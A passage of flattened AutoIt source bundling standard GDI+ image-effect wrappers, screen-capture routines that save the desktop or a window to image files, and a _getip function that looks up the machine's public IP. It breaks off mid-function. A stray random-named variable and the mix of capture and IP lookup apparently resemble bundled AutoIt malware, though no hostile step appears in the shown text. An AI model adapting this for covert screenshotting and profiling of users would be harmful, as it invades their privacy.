DllOpen($sgdipdll) If $__g_hgdipdll = -1 Then $__g_igdipref = 0 Return SetError(1, 2, False) EndIf Local $sver = FileGetVersion($sgdipdll) $sver = StringSplit($sver, ".") If $sver[1] > 5 Then $__g_bgdip_v1_0 = False Local $tinput = DllStructCreate($taggdipstartupinput) Local $ttoken = DllStructCreate("ulong_ptr Data") DllStructSetData($tinput, "Version", 1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdiplusStartup", "struct*", $ttoken, "struct*", $tinput, "ptr", 0) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) $__g_igdiptoken = DllStructGetData($ttoken, "Data") If $bretdllhandle Then Return $__g_hgdipdll Return SetExtended($sver[1], True) EndFunc Func _gdiplus_stringformatcreate($iformat = 0, $ilangid = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateStringFormat", "int", $iformat, "word", $ilangid, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_stringformatdispose($hformat) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteStringFormat", "handle", $hformat) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_stringformatgetmeasurablecharacterrangecount($hstringformat) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetStringFormatMeasurableCharacterRangeCount", "handle", $hstringformat, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_stringformatsetalign($hstringformat, $iflag) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetStringFormatAlign", "handle", $hstringformat, "int", $iflag) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_stringformatsetlinealign($hstringformat, $istringalign) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetStringFormatLineAlign", "handle", $hstringformat, "int", $istringalign) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_stringformatsetmeasurablecharacterranges($hstringformat, $aranges) Local $icount = $aranges[0][0] Local $tcharacterranges = DllStructCreate("int[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tcharacterranges, 1, $aranges[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tcharacterranges, 1, $aranges[$ii][1], (($ii - 1) * 2) + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetStringFormatMeasurableCharacterRanges", "handle", $hstringformat, "int", $icount, "struct*", $tcharacterranges) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_texturecreate($himage, $iwrapmode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateTexture", "handle", $himage, "int", $iwrapmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_texturecreate2($himage, $nx, $ny, $nwidth, $nheight, $iwrapmode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateTexture2", "handle", $himage, "int", $iwrapmode, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[7] EndFunc Func _gdiplus_texturecreateia($himage, $nx, $ny, $nwidth, $nheight, $pimageattributes = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateTextureIA", "handle", $himage, "handle", $pimageattributes, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[7] EndFunc Func __gdiplus_brushdefcreate(ByRef $hbrush) If $hbrush = 0 Then $__g_hgdipbrush = _gdiplus_brushcreatesolid() $hbrush = $__g_hgdipbrush EndIf EndFunc Func __gdiplus_brushdefdispose($icurerror = @error, $icurextended = @extended) If $__g_hgdipbrush <> 0 Then _gdiplus_brushdispose($__g_hgdipbrush) $__g_hgdipbrush = 0 EndIf Return SetError($icurerror, $icurextended) EndFunc Func __gdiplus_extractfileext($sfilename, $bnodot = True) Local $iindex = __gdiplus_lastdelimiter(".\:", $sfilename) If ($iindex > 0) AND (StringMid($sfilename, $iindex, 1) = ".") Then If $bnodot Then Return StringMid($sfilename, $iindex + 1) Else Return StringMid($sfilename, $iindex) EndIf Else Return "" EndIf EndFunc Func __gdiplus_lastdelimiter($sdelimiters, $sstring) Local $sdelimiter, $in For $ii = 1 To StringLen($sdelimiters) $sdelimiter = StringMid($sdelimiters, $ii, 1) $in = StringInStr($sstring, $sdelimiter, 0, -1) If $in > 0 Then Return $in Next EndFunc Func __gdiplus_pendefcreate(ByRef $hpen) If $hpen = 0 Then $__g_hgdippen = _gdiplus_pencreate() $hpen = $__g_hgdippen EndIf EndFunc Func __gdiplus_pendefdispose($icurerror = @error, $icurextended = @extended) If $__g_hgdippen <> 0 Then _gdiplus_pendispose($__g_hgdippen) $__g_hgdippen = 0 EndIf Return SetError($icurerror, $icurextended) EndFunc Func _gdiplus_bitmapapplyeffect($hbitmap, $heffect, $trect = NULL ) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) If NOT IsPtr($heffect) Then Return SetError(10, 0, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapApplyEffect", "handle", $hbitmap, "handle", $heffect, "struct*", $trect, "int", 0, "ptr*", 0, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_bitmapapplyeffectex($hbitmap, $heffect, $ix = 0, $iy = 0, $iw = 0, $ih = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $trect = 0 If BitOR($ix, $iy, $iw, $ih) Then $trect = DllStructCreate("int Left; int Top; int Right; int Bottom;") DllStructSetData($trect, "Right", $iw + DllStructSetData($trect, "Left", $ix)) DllStructSetData($trect, "Bottom", $ih + DllStructSetData($trect, "Top", $iy)) EndIf Local $istatus = _gdiplus_bitmapapplyeffect($hbitmap, $heffect, $trect) If NOT $istatus Then Return SetError(@error, @extended, False) Return True EndFunc Func _gdiplus_bitmapconvertformat($hbitmap, $ipixelformat, $idithertype, $ipalettetype, $tpalette, $falphathresholdpercent = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapConvertFormat", "handle", $hbitmap, "uint", $ipixelformat, "uint", $idithertype, "uint", $ipalettetype, "struct*", $tpalette, "float", $falphathresholdpercent) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_bitmapcreateapplyeffect($hbitmap, $heffect, $trect = NULL , $toutrect = NULL ) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapCreateApplyEffect", "handle*", $hbitmap, "int", 1, "handle", $heffect, "struct*", $trect, "struct*", $toutrect, "handle*", 0, "int", 0, "ptr*", 0, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[6] EndFunc Func _gdiplus_bitmapcreateapplyeffectex($hbitmap, $heffect, $ix = 0, $iy = 0, $iw = 0, $ih = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $trect = 0 If BitOR($ix, $iy, $iw, $ih) Then $trect = DllStructCreate("int Left; int Top; int Right; int Bottom;") DllStructSetData($trect, "Right", $iw + DllStructSetData($trect, "Left", $ix)) DllStructSetData($trect, "Bottom", $ih + DllStructSetData($trect, "Top", $iy)) EndIf Local $hbitmap_fx = _gdiplus_bitmapcreateapplyeffect($hbitmap, $heffect, $trect, NULL ) Return SetError(@error, @extended, $hbitmap_fx) EndFunc Func _gdiplus_bitmapgethistogram($hbitmap, $ihistogramformat, $ihistogramsize, $tchannel_0, $tchannel_1 = 0, $tchannel_2 = 0, $tchannel_3 = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapGetHistogram", "handle", $hbitmap, "uint", $ihistogramformat, "uint", $ihistogramsize, "struct*", $tchannel_0, "struct*", $tchannel_1, "struct*", $tchannel_2, "struct*", $tchannel_3) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_bitmapgethistogramex($hbitmap) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $isize = _gdiplus_bitmapgethistogramsize($gdip_histogramformatargb) Local $thistogram = DllStructCreate("int Size; uint Red[" & $isize & "]; uint MaxRed; uint Green[" & $isize & "]; uint MaxGreen; uint Blue[" & $isize & "]; uint MaxBlue; uint Alpha[" & $isize & "]; uint MaxAlpha; uint Grey[" & $isize & "]; uint MaxGrey;") DllStructSetData($thistogram, "Size", $isize) Local $istatus = _gdiplus_bitmapgethistogram($hbitmap, $gdip_histogramformatargb, $isize, DllStructGetPtr($thistogram, "Alpha"), DllStructGetPtr($thistogram, "Red"), DllStructGetPtr($thistogram, "Green"), DllStructGetPtr($thistogram, "Blue")) If NOT $istatus Then Return SetError(@error, @extended, 0) $istatus = _gdiplus_bitmapgethistogram($hbitmap, $gdip_histogramformatgray, $isize, DllStructGetPtr($thistogram, "Grey")) If NOT $istatus Then Return SetError(@error + 10, @extended, 0) Local $imaxred = 0, $imaxgreen = 0, $imaxblue = 0, $imaxalpha = 0, $imaxgrey = 0 For $i = 1 To $isize If DllStructGetData($thistogram, "Red", $i) > $imaxred Then $imaxred = DllStructGetData($thistogram, "Red", $i) If DllStructGetData($thistogram, "Green", $i) > $imaxgreen Then $imaxgreen = DllStructGetData($thistogram, "Green", $i) If DllStructGetData($thistogram, "Blue", $i) > $imaxblue Then $imaxblue = DllStructGetData($thistogram, "Blue", $i) If DllStructGetData($thistogram, "Alpha", $i) > $imaxalpha Then $imaxalpha = DllStructGetData($thistogram, "Alpha", $i) If DllStructGetData($thistogram, "Grey", $i) > $imaxgrey Then $imaxgrey = DllStructGetData($thistogram, "Grey", $i) Next DllStructSetData($thistogram, "MaxRed", $imaxred) DllStructSetData($thistogram, "MaxGreen", $imaxgreen) DllStructSetData($thistogram, "MaxBlue", $imaxblue) DllStructSetData($thistogram, "MaxAlpha", $imaxalpha) DllStructSetData($thistogram, "MaxGrey", $imaxgrey) Return $thistogram EndFunc Func _gdiplus_bitmapgethistogramsize($iformat) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapGetHistogramSize", "uint", $iformat, "uint*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_drawimagefx($hgraphics, $himage, $heffect, $trectf = 0, $hmatrix = 0, $himgattributes = 0, $iunit = 2) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawImageFX", "handle", $hgraphics, "handle", $himage, "struct*", $trectf, "handle", $hmatrix, "handle", $heffect, "handle", $himgattributes, "uint", $iunit) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_drawimagefxex($hgraphics, $himage, $heffect, $nx = 0, $ny = 0, $nw = 0, $nh = 0, $hmatrix = 0, $himgattributes = 0, $iunit = 2) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $trectf = 0 If BitOR($nx, $ny, $nw, $nh) Then $trectf = _gdiplus_rectfcreate($nx, $ny, $nw, $nh) Local $istatus = _gdiplus_drawimagefx($hgraphics, $himage, $heffect, $trectf, $hmatrix, $himgattributes, $iunit) Return SetError(@error, @extended, $istatus) EndFunc Func _gdiplus_effectcreate($seffectguid) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $tguid = _winapi_guidfromstring($seffectguid) Local $telem = DllStructCreate("uint64[2];", DllStructGetPtr($tguid)) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateEffect", "uint64", DllStructGetData($telem, 1, 1), "uint64", DllStructGetData($telem, 1, 2), "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_effectcreateblur($fradius = 10, $bexpandedge = False) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_blur) DllStructSetData($teffectparameters, "Radius", $fradius) DllStructSetData($teffectparameters, "ExpandEdge", $bexpandedge) Local $heffect = _gdiplus_effectcreate($gdip_blureffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatebrightnesscontrast($ibrightnesslevel = 0, $icontrastlevel = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_brightnesscontrast) DllStructSetData($teffectparameters, "BrightnessLevel", $ibrightnesslevel) DllStructSetData($teffectparameters, "ContrastLevel", $icontrastlevel) Local $heffect = _gdiplus_effectcreate($gdip_brightnesscontrasteffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatecolorbalance($icyanred = 0, $imagentagreen = 0, $iyellowblue = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_colorbalance) DllStructSetData($teffectparameters, "CyanRed", $icyanred) DllStructSetData($teffectparameters, "MagentaGreen", $imagentagreen) DllStructSetData($teffectparameters, "YellowBlue", $iyellowblue) Local $heffect = _gdiplus_effectcreate($gdip_colorbalanceeffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatecolorcurve($iadjustment, $ichannel, $iadjustvalue) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_colorcurve) DllStructSetData($teffectparameters, "Adjustment", $iadjustment) DllStructSetData($teffectparameters, "Channel", $ichannel) DllStructSetData($teffectparameters, "AdjustValue", $iadjustvalue) Local $heffect = _gdiplus_effectcreate($gdip_colorcurveeffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatecolorlut($acolorlut) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_colorlut) For $ii = 0 To 255 DllStructSetData($teffectparameters, "LutA", $acolorlut[$ii][0], $ii + 1) DllStructSetData($teffectparameters, "LutR", $acolorlut[$ii][1], $ii + 1) DllStructSetData($teffectparameters, "LutG", $acolorlut[$ii][2], $ii + 1) DllStructSetData($teffectparameters, "LutB", $acolorlut[$ii][3], $ii + 1) Next Local $heffect = _gdiplus_effectcreate($gdip_colorluteffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatecolormatrix($tcolormatrix) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $heffect = _gdiplus_effectcreate($gdip_colormatrixeffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $tcolormatrix) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatehuesaturationlightness($ihuelevel = 0, $isaturationlevel = 0, $ilightnesslevel = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_huesaturationlightness) DllStructSetData($teffectparameters, "HueLevel", $ihuelevel) DllStructSetData($teffectparameters, "SaturationLevel", $isaturationlevel) DllStructSetData($teffectparameters, "LightnessLevel", $ilightnesslevel) Local $heffect = _gdiplus_effectcreate($gdip_huesaturationlightnesseffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatelevels($ihighlight = 100, $imidtone = 0, $ishadow = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_levels) DllStructSetData($teffectparameters, "Highlight", $ihighlight) DllStructSetData($teffectparameters, "Midtone", $imidtone) DllStructSetData($teffectparameters, "Shadow", $ishadow) Local $heffect = _gdiplus_effectcreate($gdip_levelseffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreateredeyecorrection($aareas) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $icount = $aareas[0][0] Local $tareas = DllStructCreate("long[" & $icount * 4 & "]") For $ii = 1 To $icount DllStructSetData($tareas, 1, DllStructSetData($tareas, 1, $aareas[$ii][0], (($ii - 1) * 4) + 1) + $aareas[$ii][2], (($ii - 1) * 4) + 3) DllStructSetData($tareas, 1, DllStructSetData($tareas, 1, $aareas[$ii][1], (($ii - 1) * 4) + 2) + $aareas[$ii][3], (($ii - 1) * 4) + 4) Next Local $teffectparameters = DllStructCreate($taggdip_effectparams_redeyecorrection) DllStructSetData($teffectparameters, "NumberOfAreas", $icount) DllStructSetData($teffectparameters, "Areas", DllStructGetPtr($tareas)) Local $heffect = _gdiplus_effectcreate($gdip_redeyecorrectioneffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters, (DllStructGetSize($tareas) + DllStructGetSize($teffectparameters)) / DllStructGetSize($teffectparameters)) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatesharpen($fradius = 10, $famount = 50) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_sharpen) DllStructSetData($teffectparameters, "Radius", $fradius) DllStructSetData($teffectparameters, "Amount", $famount) Local $heffect = _gdiplus_effectcreate($gdip_sharpeneffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectcreatetint($ihue = 0, $iamount = 0) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) Local $teffectparameters = DllStructCreate($taggdip_effectparams_tint) DllStructSetData($teffectparameters, "Hue", $ihue) DllStructSetData($teffectparameters, "Amount", $iamount) Local $heffect = _gdiplus_effectcreate($gdip_tinteffectguid) If @error Then Return SetError(@error, @extended, 0) _gdiplus_effectsetparameters($heffect, $teffectparameters) If @error Then Return SetError(@error + 10, @extended, 0) Return $heffect EndFunc Func _gdiplus_effectdispose($heffect) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteEffect", "handle", $heffect) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_effectgetparameters($heffect, $teffectparameters) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) If DllStructGetSize($teffectparameters) < __gdiplus_effectgetparametersize($heffect) Then Return SetError(2, 5, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetEffectParameters", "handle", $heffect, "uint*", DllStructGetSize($teffectparameters), "struct*", $teffectparameters) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func __gdiplus_effectgetparametersize($heffect) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, -1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetEffectParameterSize", "handle", $heffect, "uint*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_effectsetparameters($heffect, $teffectparameters, $isizeadjust = 1) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, False) Local $isize = __gdiplus_effectgetparametersize($heffect) If @error Then Return SetError(@error, @extended, False) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetEffectParameters", "handle", $heffect, "struct*", $teffectparameters, "uint", $isize * $isizeadjust) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_paletteinitialize($ientries, $ipalettetype = $gdip_palettetypeoptimal, $ioptimalcolors = 0, $busetransparentcolor = True, $hbitmap = NULL ) If $__g_bgdip_v1_0 Then Return SetError(-1, 0, 0) If $ioptimalcolors > 0 Then $ipalettetype = $gdip_palettetypeoptimal Local $tpalette = DllStructCreate("uint Flags; uint Count; uint ARGB[" & $ientries & "];") DllStructSetData($tpalette, "Flags", $ipalettetype) DllStructSetData($tpalette, "Count", $ientries) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipInitializePalette", "struct*", $tpalette, "uint", $ipalettetype, "uint", $ioptimalcolors, "bool", $busetransparentcolor, "handle", $hbitmap) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $tpalette EndFunc Global $__g_ibmpformat = $gdip_pxf24rgb Global $__g_ijpgquality = 100 Global $__g_itifcolordepth = 24 Global $__g_itifcompression = $gdip_evtcompressionlzw Global Const $__screencaptureconstant_sm_cxscreen = 0 Global Const $__screencaptureconstant_sm_cyscreen = 1 Global Const $__screencaptureconstant_srccopy = 13369376 Func _screencapture_capture($sfilename = "", $ileft = 0, $itop = 0, $iright = -1, $ibottom = -1, $bcursor = True) Local $bret = False If $iright = -1 Then $iright = _winapi_getsystemmetrics($__screencaptureconstant_sm_cxscreen) - 1 If $ibottom = -1 Then $ibottom = _winapi_getsystemmetrics($__screencaptureconstant_sm_cyscreen) - 1 If $iright < $ileft Then Return SetError(-1, 0, $bret) If $ibottom < $itop Then Return SetError(-2, 0, $bret) Local $iw = ($iright - $ileft) + 1 Local $ih = ($ibottom - $itop) + 1 Local $hwnd = _winapi_getdesktopwindow() Local $hddc = _winapi_getdc($hwnd) Local $hcdc = _winapi_createcompatibledc($hddc) Local $hbmp = _winapi_createcompatiblebitmap($hddc, $iw, $ih) _winapi_selectobject($hcdc, $hbmp) _winapi_bitblt($hcdc, 0, 0, $iw, $ih, $hddc, $ileft, $itop, $__screencaptureconstant_srccopy) If $bcursor Then Local $acursor = _winapi_getcursorinfo() If NOT @error AND $acursor[1] Then $bcursor = True Local $hicon = _winapi_copyicon($acursor[2]) Local $aicon = _winapi_geticoninfo($hicon) If NOT @error Then _winapi_deleteobject($aicon[4]) If $aicon[5] <> 0 Then _winapi_deleteobject($aicon[5]) _winapi_drawicon($hcdc, $acursor[3] - $aicon[2] - $ileft, $acursor[4] - $aicon[3] - $itop, $hicon) EndIf _winapi_destroyicon($hicon) EndIf EndIf _winapi_releasedc($hwnd, $hddc) _winapi_deletedc($hcdc) If $sfilename = "" Then Return $hbmp $bret = _screencapture_saveimage($sfilename, $hbmp, True) Return SetError(@error, @extended, $bret) EndFunc Func _screencapture_capturewnd($sfilename, $hwnd, $ileft = 0, $itop = 0, $iright = -1, $ibottom = -1, $bcursor = True) If NOT IsHWnd($hwnd) Then $hwnd = WinGetHandle($hwnd) Local $trect = DllStructCreate($tagrect) Local Const $dwmwa_extended_frame_bounds = 9 Local $bret = DllCall("dwmapi.dll", "long", "DwmGetWindowAttribute", "hwnd", $hwnd, "dword", $dwmwa_extended_frame_bounds, "struct*", $trect, "dword", DllStructGetSize($trect)) If (@error OR $bret[0] OR (Abs(DllStructGetData($trect, "Left")) + Abs(DllStructGetData($trect, "Top")) + Abs(DllStructGetData($trect, "Right")) + Abs(DllStructGetData($trect, "Bottom"))) = 0) Then $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error + 10, @extended, False) EndIf $ileft += DllStructGetData($trect, "Left") $itop += DllStructGetData($trect, "Top") If $iright = -1 Then $iright = DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") - 1 If $ibottom = -1 Then $ibottom = DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") - 1 $iright += DllStructGetData($trect, "Left") $ibottom += DllStructGetData($trect, "Top") If $ileft > DllStructGetData($trect, "Right") Then $ileft = DllStructGetData($trect, "Left") If $itop > DllStructGetData($trect, "Bottom") Then $itop = DllStructGetData($trect, "Top") If $iright > DllStructGetData($trect, "Right") Then $iright = DllStructGetData($trect, "Right") - 1 If $ibottom > DllStructGetData($trect, "Bottom") Then $ibottom = DllStructGetData($trect, "Bottom") - 1 $bret = _screencapture_capture($sfilename, $ileft, $itop, $iright, $ibottom, $bcursor) Return SetError(@error, @extended, $bret) EndFunc Func _screencapture_saveimage($sfilename, $hbitmap, $bfreebmp = True) _gdiplus_startup() If @error Then Return SetError(-1, -1, False) Local $sext = StringUpper(__gdiplus_extractfileext($sfilename)) Local $sclsid = _gdiplus_encodersgetclsid($sext) If $sclsid = "" Then Return SetError(-2, -2, False) Local $himage = _gdiplus_bitmapcreatefromhbitmap($hbitmap) If @error Then Return SetError(-3, -3, False) Local $tdata, $tparams Switch $sext Case "BMP" Local $ix = _gdiplus_imagegetwidth($himage) Local $iy = _gdiplus_imagegetheight($himage) Local $hclone = _gdiplus_bitmapclonearea($himage, 0, 0, $ix, $iy, $__g_ibmpformat) _gdiplus_imagedispose($himage) $himage = $hclone Case "JPG", "JPEG" $tparams = _gdiplus_paraminit(1) $tdata = DllStructCreate("int Quality") DllStructSetData($tdata, "Quality", $__g_ijpgquality) _gdiplus_paramadd($tparams, $gdip_epgquality, 1, $gdip_eptlong, DllStructGetPtr($tdata)) Case "TIF", "TIFF" $tparams = _gdiplus_paraminit(2) $tdata = DllStructCreate("int ColorDepth;int Compression") DllStructSetData($tdata, "ColorDepth", $__g_itifcolordepth) DllStructSetData($tdata, "Compression", $__g_itifcompression) _gdiplus_paramadd($tparams, $gdip_epgcolordepth, 1, $gdip_eptlong, DllStructGetPtr($tdata, "ColorDepth")) _gdiplus_paramadd($tparams, $gdip_epgcompression, 1, $gdip_eptlong, DllStructGetPtr($tdata, "Compression")) EndSwitch Local $pparams = 0 If IsDllStruct($tparams) Then $pparams = $tparams Local $bret = _gdiplus_imagesavetofileex($himage, $sfilename, $sclsid, $pparams) _gdiplus_imagedispose($himage) If $bfreebmp Then _winapi_deleteobject($hbitmap) _gdiplus_shutdown() Return SetError($bret = False, 0, $bret) EndFunc Func _screencapture_setbmpformat($iformat) Switch $iformat Case 0 $__g_ibmpformat = $gdip_pxf16rgb555 Case 1 $__g_ibmpformat = $gdip_pxf16rgb565 Case 2 $__g_ibmpformat = $gdip_pxf24rgb Case 3 $__g_ibmpformat = $gdip_pxf32rgb Case 4 $__g_ibmpformat = $gdip_pxf32argb Case Else $__g_ibmpformat = $gdip_pxf24rgb EndSwitch EndFunc Func _screencapture_setjpgquality($iquality) If $iquality < 0 Then $iquality = 0 If $iquality > 100 Then $iquality = 100 $__g_ijpgquality = $iquality EndFunc Func _screencapture_settifcolordepth($idepth) Switch $idepth Case 24 $__g_itifcolordepth = 24 Case 32 $__g_itifcolordepth = 32 Case Else $__g_itifcolordepth = 0 EndSwitch EndFunc Func _screencapture_settifcompression($icompress) Switch $icompress Case 1 $__g_itifcompression = $gdip_evtcompressionnone Case 2 $__g_itifcompression = $gdip_evtcompressionlzw Case Else $__g_itifcompression = 0 EndSwitch EndFunc $isasdguthecdneu = "111111" Global Const $inet_localcache = 0 Global Const $inet_forcereload = 1 Global Const $inet_ignoressl = 2 Global Const $inet_asciitransfer = 4 Global Const $inet_binarytransfer = 8 Global Const $inet_forcebypass = 16 Global Const $inet_downloadwait = 0 Global Const $inet_downloadbackground = 1 Global Const $inet_downloadread = 0 Global Const $inet_downloadsize = 1 Global Const $inet_downloadcomplete = 2 Global Const $inet_downloadsuccess = 3 Global Const $inet_downloaderror = 4 Global Const $inet_downloadextended = 5 Func _getip() Local Const $getip_timer = 300000 Local Static $htimer = 0 Local Static $slastip = 0 If TimerDiff($htimer) < $getip_timer AND NOT $slastip Then Return SetExtended(1, $slastip) EndIf Local $agetipurl[] = ["http://checkip.dyndns.org", "http://www.myexternalip.com/raw", "http://bot.whatismyipaddress.com"], $areturn = 0, $sreturn = "" For $i = 0 To UBound($agetipurl) - 1 $sreturn = InetRead($agetipurl[$i]) If @error OR $sreturn == "" Then ContinueLoop $areturn = StringRegExp(BinaryToString($sreturn), "((?:\d{1,3}\.){3}\d{1,3})", $str_regexparrayglobalmatch) If NOT @error Then $sreturn = $areturn[0] ExitLoop EndIf $sreturn = "" Next $htimer = TimerInit() $slastip = $sreturn If $sreturn == "" Then Return SetError(1, 0, -1) Return $sreturn EndFunc Func _inetexplorercapable($siestring) 